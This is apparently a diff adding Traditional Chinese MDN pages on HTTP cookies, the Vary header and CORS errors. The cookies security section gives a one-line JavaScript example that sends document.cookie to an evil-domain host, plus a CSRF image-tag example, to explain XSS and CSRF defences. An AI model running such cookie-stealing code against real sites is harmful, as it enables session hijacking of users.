+<p>When a cache receives a request that can be satisfied by a cached response that has a <code>Vary</code> header field, it must not use that cached response unless all header fields as nominated by the <code>Vary</code> header match in both the original (cached) request and the new request.</p>
+
+<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p>
+
+<p>This can be useful for serving content dynamically, for example. When using the <code>Vary: User-Agent</code> header, caching servers should consider the user agent when deciding whether to serve the page from cache. If you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users. In addition, it can help Google and other search engines to discover the mobile version of a page, and might also tell them that no <a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a> is intended.</p>
+
+<pre>Vary: User-Agent</pre>
+
+<p>Because the {{HTTPHeader("User-Agent")}} header value is different ("varies") for mobile and desktop clients, caches will not be used to serve mobile content mistakenly to desktop users or vice versa.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li>
+ <li><a href="https://www.mnot.net/cache_docs">Caching Tutorial – Mark Nottingham</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP caching – Ilya Grigorik</a></li>
+ <li><a href="https://redbot.org/">RedBot</a>, a tool to check your cache-related HTTP headers.</li>
+</ul>
diff --git a/files/zh-tw/web/http/cookies/index.html b/files/zh-tw/web/http/cookies/index.html
new file mode 100644
index 0000000000..e6baf94bb4
--- /dev/null
+++ b/files/zh-tw/web/http/cookies/index.html
@@ -0,0 +1,194 @@
+---
+title: HTTP cookies
+slug: Web/HTTP/Cookies
+tags:
+  - Cookies
+  - Guide
+  - HTTP
+translation_of: Web/HTTP/Cookies
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="seoSummary"><dfn>HTTP cookie</dfn>（web cookie、browser cookie）為伺服器傳送予使用者瀏覽器的一個小片段資料。瀏覽器可能儲存並於下一次請求回傳 cookie 至相同的伺服器。</span>Cookie 通常被用來保持使用者的登入狀態——如果兩次請求都來自相同的瀏覽器。舉例來說，它記住了<a href="/zh-TW/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">無狀態（stateless）</a>HTTP 協議的有狀態資訊。</p>
+
+<p>Cookies 主要用於三個目的：</p>
+
+<dl>
+ <dt>Session 管理</dt>
+ <dd>帳號登入、購物車、遊戲分數，或任何其他伺服器應該記住的資訊</dd>
+ <dt>個人化</dt>
+ <dd>使用者設定、佈景主題，以及其他設定</dd>
+ <dt>追蹤</dt>
+ <dd>記錄並分析使用者行為</dd>
+</dl>
+
+<p>Cookies 曾被當作一般的客戶端儲存方式來使用。這在當時 cookie 仍是將資料儲存在客戶端的唯一方法時是合法的，現在則建議使用現代的 storage APIs。Cookies 會被每一個請求發送出去，所以可能會影響效能（尤其是行動裝置的資料連線）。現代客戶端的 storage APIs 為 <a href="/zh-TW/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> （<code>localStorage</code> 和 <code>sessionStorage</code>）以及 <a href="/zh-TW/docs/Web/API/IndexedDB_API">IndexedDB</a>。</p>
+
+<div class="note">
+<p>要檢視儲存的 cookies（以及其他網頁可以使用的儲存資料），你可以開啟開發者工具中的<a href="/zh-TW/docs/Tools/Storage_Inspector">儲存檢示器（Storage Inspector）</a>並自儲存樹（storage tree）選擇 Cookies。</p>
+</div>
+
+<h2 id="建立_cookies">建立 cookies</h2>
+
+<p>收到一個 HTTP 請求時，伺服器可以傳送一個 {{HTTPHeader("Set-Cookie")}} 的標頭和回應。Cookie 通常存於瀏覽器中，並隨著請求被放在{{HTTPHeader("Cookie")}} HTTP 標頭內，傳給同個伺服器。可以註明 Cookie 的有效或終止時間，超過後 Cookie 將不再發送。此外，也可以限制 Cookie 不傳送到特定的網域或路徑。</p>
+
+<h3 id="Set-Cookie_及_Cookie_標頭"><code>Set-Cookie</code> 及 <code>Cookie</code> 標頭</h3>
+
+<p>{{HTTPHeader("Set-Cookie")}} HTTP 回應標頭從伺服器傳送 cookies 至用戶代理。一個簡單的 cookie 可以如下例設定：</p>
+
+<pre class="syntaxbox">Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;</pre>
+
+<p>這個來自伺服器的標頭告訴客戶端要儲存一個 cookie 。</p>
+
+<div class="note"><strong>備註：</strong>以下是如何在不同的伺服器端應用程式中，使用 <code>Set-Cookie</code> 標頭：
+
+<ul>
+ <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li>
+ <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li>
+ <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li>
+ <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li>
+</ul>
+</div>
+
+<pre>HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]</pre>
+
+<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">現在隨著每個請求，瀏覽器會使用 {{HTTPHeader("Cookie")}} 標頭將所有先前儲存的 cookies 傳給伺服器。</p>
+
+<pre>GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre>
+
+<h3 id="Session_cookies">Session cookies</h3>
+
+<p>以上創建的 cookie 為 <em>session cookie</em>：當客戶端關閉時即被刪除，因為它並沒有註明過期 <code>Expires</code> 或可維持的最大時間 <code>Max-Age</code>。不過網頁瀏覽器可使用 <strong>session restoring</strong>，讓 session cookies 永久保存，就像瀏覽器從來沒關閉。</p>
+
+<h3 id="常駐_cookies">常駐 cookies</h3>
+
+<p>常駐 cookies 不會在客戶關閉後到期，而是在一個特定的日期 (<code>Expires</code>) 或一個標明的時間長度後（<code>Max-Age</code>）。</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>
+
+<div class="note">
+<p><strong>備註：</strong>當到期日被設定後，時間與日期即為相對於用戶端設定 cookie 的時間，而非伺服器。</p>
+</div>
+
+<h3 id="Secure_以及_HttpOnly_cookies"><code>Secure</code> 以及 <code>HttpOnly</code> cookies</h3>
+
+<p>Secure cookie 只有在以加密的請求透過 HTTPS 協議時，傳送給伺服器。但即便是 <code>Secure</code> ，敏感的資訊絕對不該存在 cookies 內，因為他們本質上是不安全的，這個旗標不能提供真正的保護。自 Chrome 52 以及 Firefox 52 開始，不安全的網站（<code>http:</code>）就不能以 <code>Secure</code> 的指示設定 cookies。</p>
+
+<p>為了避免跨站腳本攻擊 ({{Glossary("XSS")}})，JavaScript 的{{domxref("Document.cookie")}} API 無法取得 <code>HttpOnly</code> cookies；他們只傳送到伺服器。舉例來說，不需要讓 JavaScript 可以取用仍在伺服器 sessions 中的 cookies 時，就應該立 <code>HttpOnly</code> 的旗幟。</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>
+
+<h3 id="Cookies_的作用範圍">Cookies 的作用範圍</h3>
+
+<p><code>Domain</code> 及 <code>Path</code> 的指示定義了 cookie 的作用範圍： cookies 應該被送到哪些 URLs 。</p>
+
+<p><code>Domain</code> 註明了受允許的 hosts 能接收 cookie。若無註明，則預設給<a href="/zh-TW/docs/Web/API/Document/location">當前文件位置的 host</a><strong>，不包含 subdomain。</strong> 若 <code>Domain</code> <em>有被註明</em>，則 subdomains 總是被包含。</p>
+
+<p>舉例來說，當設定 <code>Domain=mozilla.org</code> 後，在像 <code>developer.mozilla.org</code> 之類的 subdomains 中，cookies 都被包含在內。</p>
+
+<p><code>Path</code> 指出一個必定存在於請求 URL 中的 URL 路徑，使 <code>Cookie</code> 標頭能被傳出。%x2F（「/」）字元是資料夾分隔符號，子資料夾也同樣會被匹配。</p>
+
+<p>例如，當設定 <code>Path=/docs</code> 後，以下的路徑皆會匹配：</p>
+
+<ul>
+ <li><code>/docs</code></li>
+ <li><code>/docs/Web/</code></li>
+ <li><code>/docs/Web/HTTP</code></li>
+</ul>
+
+<h3 id="SameSite_cookies_experimental_inline"><code>SameSite</code> cookies {{experimental_inline}}</h3>
+
+<p><code>SameSite</code> 讓伺服器要求 cookie 不應以跨站請求的方式寄送，某種程度上避免了跨站請求偽造的攻擊（{{Glossary("CSRF")}}）。<code>SameSite</code> cookies 目前仍在實驗階段，尚未被所有的瀏覽器支援。</p>
+
+<h3 id="JavaScript_使用_Document.cookie_存取">JavaScript 使用 <code>Document.cookie</code> 存取</h3>
+
+<p>新的 cookies 亦可經由 JavaScript 的 {{domxref("Document.cookie")}} 屬性生成，且若沒有立 <code>HttpOnly</code> 旗幟，已存在的 cookies 可以透過 JavaScript 取得。</p>
+
+<pre class="brush: js">document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>
+
+<p>請注意以下<a href="/zh-TW/docs/Web/HTTP/Cookies#Security">安全性</a>章節的資安問題。JavaScript 可取得的 Cookies 即有被 XSS 攻擊竊取的風險。</p>
+
+<h2 id="安全性">安全性</h2>
+
+<div class="note">
+<p><span>機密或敏感的資訊永遠不應該以 HTTP Cookies 的方式儲存或傳送，因為整個機制的本質是不安全的。</span></p>
+</div>
+
+<h3 id="Session_hijacking_以及_XSS">Session hijacking 以及 XSS</h3>
+
+<p>Cookies 常用於網頁應用程式中，識別使用者與其 authenticated session，因此竊取 cookie 可能造成使用者的 authenticated session 被劫持。一般偷取 cookies 的作法包括社交工程（Social Engineering），或利用應用程式中的 {{Glossary("XSS")}} 漏洞。</p>
+
+<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>
+
+<p>Cookie 中的 <code>HttpOnly</code> 屬性，能藉由防止透過 JavaScript 取得 cookie 內容，來減少此類型的攻擊。</p>
+
+<h3 id="Cross-site_request_forgery_(CSRF)">Cross-site request forgery (CSRF)</h3>
+
+<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">維基百科</a>為 {{Glossary("CSRF")}} 舉了一個好例子。假設在一個未經過濾的對話或論壇中，某人插入了一個並非真實圖片，而是對你銀行伺服器請求領錢的 image：</p>
+
+<pre class="brush: html">&lt;img src="http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>
+
+<p>現在如果你的銀行帳戶仍在登入狀態中，你的 cookies 仍然有效，並且沒有其他的驗證方式，當你載入包含此圖片的 HTML 同時，你的錢即會被轉出。以下是一些避免此情況發生的技術：</p>
+
+<ul>
+ <li>Input filtering 和 {{Glossary("XSS")}} 一樣是重要的。</li>
+ <li>做任何敏感的動作前，都應該要求使用者確認。</li>
+ <li>用於敏感動作的 Cookies 都只應該有短時間的生命週期。</li>
+ <li>更多防範的技巧，參見 <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>。</li>
+</ul>
+
+<h2 id="追蹤及隱私">追蹤及隱私</h2>
+
+<h3 id="第三方_cookies">第三方 cookies</h3>
+
+<p>Cookies 會帶有他們所屬的網域名。若此網域和你所在的頁面網域相同，cookies 即為<em>第一方（first-party）cookie</em>，不同則為<em>第三方（third-party）cookie</em>。第一方 cookies 只被送到設定他們的伺服器，但一個網頁可能含有存在其他網域伺服器的圖片或組件（像橫幅廣告）。透過這些第三方組件傳送的 cookies 便是第三方 cookies，經常被用於廣告和網頁上的追蹤。參見 <a href="https://www.google.com/policies/technologies/types/">Google 常用的 cookies 種類</a>。大部分的瀏覽器預設允許第三方 cookies，但也有些可以阻擋他們的 add-on（例如 <a href="https://www.eff.org/">EFF</a> 的 <a href="https://addons.mozilla.org/zh-TW/firefox/addon/privacy-badger-firefox/">Privacy Badger</a>）。</p>
+
+<div>若沒有事先告訴消費者第三方 cookies 的存在，當消費者發現你使用 cookie 時，對你的信任將會受損。因此，公開表明 cookie 的使用（像在隱私權條款中）將減低發現 cookie 時的負面影響。有些國家有關於 cookies 的法律條文。範例可以參見維基百科的 <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement</a>。</div>
+
+<ul>
+</ul>
+
+<h3 id="Do-Not-Track">Do-Not-Track</h3>
+
+<p><span>對於 cookie 的使用並沒有法律上或技術上的規定，但可利用 {{HTTPHeader("DNT")}} 標頭，指示網頁應用程式關閉頁面的追蹤、或跨站的使用者追蹤。參見{{HTTPHeader("DNT")}} 標頭以獲得更多資訊。</span></p>
+
+<h3 id="EU_cookie_directive">EU cookie directive</h3>
+
+<p>歐洲議會在 <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a> 中定義了歐盟的 cookies 規定，並於 2011 年 5 月 25 日生效。此指示本身並非法律，而是給歐盟會員國要作為法律，需符合之規定的指示。實際的法條可因國制宜。</p>
+
+<p>簡而言之，EU directive 指明要儲存或取得使用者電腦、手機、或其他裝置上的資訊前，都要經過使用者的同意。很多網站加了橫幅告知使用者 cookies 的使用。</p>
+
+<p>參見<a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">維基百科上此章節</a>，並查詢國家的法律以取得最新與最精確的資訊。</p>
+
+<h3 id="Zombie_cookies_and_Evercookies">Zombie cookies and Evercookies</h3>
+
+<p>Zombie cookies 或「Evercookies」是一個更激進的手段，刻意讓 cookies 在被刪除後重新創造，使其很難被永遠的刪除。這些 cookies 使用 <a href="/zh-TW/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>、Flash Local Shared Objects 和其他的技術，使得當他們被偵測不存在時，就會立刻重新創造。</p>
+
+<ul>
+ <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">維基百科上的 Zombie cookies</a></li>
+</ul>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+ <li>{{domxref("Navigator.cookieEnabled")}}</li>
+ <li><a href="/zh-TW/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li>
+ <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/cors/errors/corsdidnotsucceed/index.html b/files/zh-tw/web/http/cors/errors/corsdidnotsucceed/index.html
new file mode 100644
index 0000000000..b265a0ca1c
--- /dev/null
+++ b/files/zh-tw/web/http/cors/errors/corsdidnotsucceed/index.html
@@ -0,0 +1,22 @@
+---
+title: 原因：CORS 請求未成功
+slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="原因">原因</h2>
+
+<pre class="syntaxbox">Reason: CORS request did not succeed</pre>
+
+<h2 id="哪邊出錯了？">哪邊出錯了？</h2>
+
+<p>使用 CORS 的 {{Glossary("HTTP")}} 請求失敗，因為 HTTP 連線在網路或協定層級失敗。這個錯誤和 CORS 沒有直接關係，but is a fundamental network error of some kind.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/cors/errors/corsmissingalloworigin/index.html b/files/zh-tw/web/http/cors/errors/corsmissingalloworigin/index.html
new file mode 100644
index 0000000000..fde9e0e0bd
--- /dev/null
+++ b/files/zh-tw/web/http/cors/errors/corsmissingalloworigin/index.html
@@ -0,0 +1,48 @@
+---
+title: 原因：缺少 CORS 標頭 'Access-Control-Allow-Origin'
+slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
+translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="原因">原因</h2>
+
+<pre class="syntaxbox">Reason: CORS header 'Access-Control-Allow-Origin' missing</pre>
+
+<h2 id="What_went_wrong">What went wrong?</h2>
+
+<p>The response to the {{Glossary("CORS")}} request is missing the required {{HTTPHeader("Access-Control-Allow-Origin")}} header, which is used to determine whether or not the resource can be accessed by content operating within the current origin.</p>
+
+<p>If the server is under your control, add the origin of the requesting site to the set of domains permitted access by adding it to the <code>Access-Control-Allow-Origin</code> header's value.</p>
+
+<p>For example, to allow a site at https://amazing.site to access the resource using CORS, the header should be:</p>
+
+<pre>Access-Control-Allow-Origin: https://amazing.site</pre>
+
+<p>You can also configure a site to allow any site to access it by using the <code>"*"</code> wildcard. You should only use this for public APIs. Private APIs should never use <code>"*"</code>, and should instead have a specific domain or domains set. In addition, the wildcard only works for requests made with the {{htmlattrxref("crossorigin")}} attribute set to <code>"anonymous"</code>.</p>
+
+<pre>Access-Control-Allow-Origin: *</pre>
+
+<div class="warning">
+<p><strong>Warning:</strong> Using the wildcard to allow all sites to access a private API is a bad idea for what should be obvious reasons.</p>
+</div>
+
+<p> </p>
+
+<p>For example, in Apache, add a line such as the following to the server's configuration (within the appropriate <code>&lt;Directory&gt;</code>, <code>&lt;Location&gt;</code>, <code>&lt;Files&gt;</code>, or <code>&lt;VirtualHost&gt;</code> section). The configuration is typically found in a <code>.conf</code> file (<code>httpd.conf</code> and <code>apache.conf</code> are common names for these), or in an <code>.htaccess</code> file.</p>
+
+<pre>Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre>
+
+<p>For Nginx, the command to set up this header is:</p>
+
+<pre>add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre>
+
+<p> </p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/cors/errors/corsnotsupportingcredentials/index.html b/files/zh-tw/web/http/cors/errors/corsnotsupportingcredentials/index.html
new file mode 100644
index 0000000000..8c971d93f5
--- /dev/null
+++ b/files/zh-tw/web/http/cors/errors/corsnotsupportingcredentials/index.html
@@ -0,0 +1,32 @@
+---
+title: 原因：CORS 'Access-Control-Allow-Origin' 設定為「*」時不支援使用帳號密碼
+slug: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials
+translation_of: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="原因">原因</h2>
+
+<pre class="syntaxbox">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</pre>
+
+<h2 id="What_went_wrong">What went wrong?</h2>
+
+<p>The {{Glossary("CORS")}} request was attempted with the credentials flag set, but the server is configured using the wildcard (<code>"*"</code>) as the value of {{HTTPHeader("Access-Control-Allow-Origin")}}, which doesn't allow the use of credentials.</p>
+
+<p>To correct this problem on the client side, simply ensure that the credentials flag's value is <code>false</code> when issuing your CORS request.</p>
+
+<ul>
+ <li>If the request is being issued using {{domxref("XMLHttpRequest")}}, make sure you're not setting {{domxref("XMLHttpRequest.withCredentials", "withCredentials")}} to <code>true</code>.</li>
+ <li>If using <a href="/en-US/docs/Web/API/Server-sent_events">Server-sent events</a>, make sure {{domxref("EventSource.withCredentials")}} is <code>false</code> (it's the default value).</li>
+ <li>If using the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, make sure {{domxref("Request.credentials")}} is <code>"omit"</code>.</li>
+</ul>
+
+<p>If, instead, you need to adjust the server's behavior, you'll need to change the value of <code>Access-Control-Allow-Origin</code> to grant access to the origin from which the client is loaded.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/cors/errors/index.html b/files/zh-tw/web/http/cors/errors/index.html
new file mode 100644
index 0000000000..d1dd12dc75
--- /dev/null
+++ b/files/zh-tw/web/http/cors/errors/index.html
@@ -0,0 +1,76 @@
+---
+title: CORS errors
+slug: Web/HTTP/CORS/Errors
+tags:
+  - CORS
+  - Errors
+  - HTTP
+  - HTTPS
+  - Messages
+  - NeedsTranslation
+  - Same-origin
+  - Security
+  - TopicStub
+  - console
+  - troubleshooting
+translation_of: Web/HTTP/CORS/Errors
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p>
+
+<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p>
+
+<h2 id="Identifying_the_issue">Identifying the issue</h2>
+
+<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p>
+
+<ol>
+ <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li>
+ <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li>
+</ol>
+
+<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p>
+
+<p>The text of the error message will be something similar to the following:</p>
+
+<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows
+reading the remote resource at <em>https://some-url-here</em>. (<em>Reason:
+additional information here</em>).</span></span></span></pre>
+
+<div class="note">
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p>
+</div>
+
+<h2 id="CORS_error_messages">CORS error messages</h2>
+
+<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong.  The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li>
+ <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li>
+</ul>
diff --git a/files/zh-tw/web/http/cors/index.html b/files/zh-tw/web/http/cors/index.html
new file mode 100644
index 0000000000..4d0952381c
--- /dev/null
+++ b/files/zh-tw/web/http/cors/index.html
@@ -0,0 +1,549 @@
+---
+title: 跨來源資源共用（CORS）
+slug: Web/HTTP/CORS
+tags:
+  - AJAX
+  - CORS
+  - Cross-Origin Resource Sharing
+  - Fetch
+  - Fetch API
+  - HTTP
+  - HTTP Access Controls
+  - Same-origin policy
+  - Security
+  - XMLHttpRequest
+translation_of: Web/HTTP/CORS
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">跨來源資源共用（Cross-Origin Resource Sharing ({{Glossary("CORS")}})）是一種使用額外 {{Glossary("HTTP")}} 標頭令目前瀏覽網站的{{Glossary("user agent","使用者代理")}}取得存取其他來源（網域）伺服器特定資源權限的機制。</span>當使用者代理請求一個不是目前文件來源——例如來自於不同網域（domain）、通訊協定（protocol）或通訊埠（port）的資源時，會建立一個<strong>跨來源 HTTP 請求（cross-origin HTTP request）</strong>。</p>
+
+<p>舉個跨來源請求的例子：<code>http://domain-a.com</code> HTML 頁面裡面一個 <a href="/zh-TW/docs/Web/HTML/Element/Img#Attributes"><code>&lt;img&gt;</code> 標籤的 <code>src</code> 屬性</a>載入來自 <code>http://domain-b.com/image.jpg</code> 的圖片。現今網路上許多頁面所載入的資源，如 CSS 樣式表、圖片影像、以及指令碼（script）都來自與所在位置分離的網域，如內容傳遞網路（content delivery networks, CDN）。</p>
+
+<p>基於安全性考量，程式碼所發出的跨來源 HTTP 請求會受到限制。例如，{{domxref("XMLHttpRequest")}} 及 {{domxref("Fetch_API", "Fetch")}} 都遵守<a href="/zh-TW/docs/Web/Security/Same-origin_policy">同源政策（same-origin policy）</a>。這代表網路應用程式所使用的 API 除非使用 CORS 標頭，否則只能請求與應用程式相同網域的 HTTP 資源。</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p>
+
+<p>跨來源資源共用（Cross-Origin Resource Sharing，簡稱 {{Glossary("CORS")}}）機制提供了網頁伺服器跨網域的存取控制，增加跨網域資料傳輸的安全性。現代瀏覽器支援在 API 容器（如 {{domxref("XMLHttpRequest")}} 或 {{domxref("Fetch_API", "Fetch")}}）中使用 CORS 以降低跨來源 HTTP 請求的風險。</p>
+
+<h2 id="誰應該閱讀這篇文章？">誰應該閱讀這篇文章？</h2>
+
+<p>認真講，所有人。</p>
+
+<p>進一步來說，本文內容主要和網站管理員、伺服器端開發者和前端網頁開發者有關。現代瀏覽器會處理客戶端的跨來源共用元件，包括標頭和政策施定。關於伺服器部分請參閱<a href="/zh-TW/docs/Web/HTTP/Server-Side_Access_Control">跨來源</a>共用<a href="/zh-TW/docs/Web/HTTP/Server-Side_Access_Control">：從伺服器觀點出發（以 PHP 為範例）</a>的補充說明。</p>
+
+<h2 id="哪些請求會使用_CORS？">哪些請求會使用 CORS？</h2>
+
